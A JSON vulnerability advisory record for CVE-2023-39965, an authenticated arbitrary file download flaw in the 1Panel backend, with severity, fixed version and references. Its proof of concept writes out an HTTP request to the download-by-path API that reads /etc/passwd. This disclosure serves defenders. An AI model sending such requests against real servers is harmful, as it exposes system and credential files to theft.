{"id":"CVE-2023-39965","aliases":["GHSA-85cf-gj29-f555","GO-2023-2005"],"url":"https://o3.security/vulnerability/CVE-2023-39965","summary":"1Panel Unauthorized access in Backend","details":"### Summary\nAny file downloading vulnerability exists in 1Panel backend.\n\n### Details\nAuthenticated attackers can download arbitrary files through the API interface. This code has unauthorized access.\n![image](https://user-images.githubusercontent.com/116613486/257246024-d0e35800-5fd8-4907-8b1b-504afaad859e.png)\n\n### PoC\npayload:\n\nPOST /api/v1/files/download/bypath HTTP/1.1\nHost: ip\nContent-Type: application/json\n\n{\"path\":\"/etc/passwd\"}\n\n![f77959349e96543436eea18283fa75c](https://user-images.githubusercontent.com/116613486/257245459-13f2f31b-fcfe-4a27-ba52-e2f1e5d4d749.png)\n\n\n### Impact\nAttackers can freely download the file content on the target system. This will be caused a large amount of information leakage.\n","published":"2023-08-10T17:42:05.793Z","modified":"2026-08-12T03:51:48.785648912Z","cvss":{"score":6.5,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L"},"epss":null,"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"Go","name":"github.com/1Panel-dev/1Panel","fixedVersion":"1.5.0"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/1Panel-dev/1Panel/releases/tag/v1.5.0"},{"type":"ADVISORY","url":"https://github.com/1Panel-dev/1Panel/security/advisories/GHSA-85cf-gj29-f555"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/39xxx/CVE-2023-39965.json"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-39965"},{"type":"PACKAGE","url":"https://github.com/1Panel-dev/1Panel"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:48.785648912Z"}}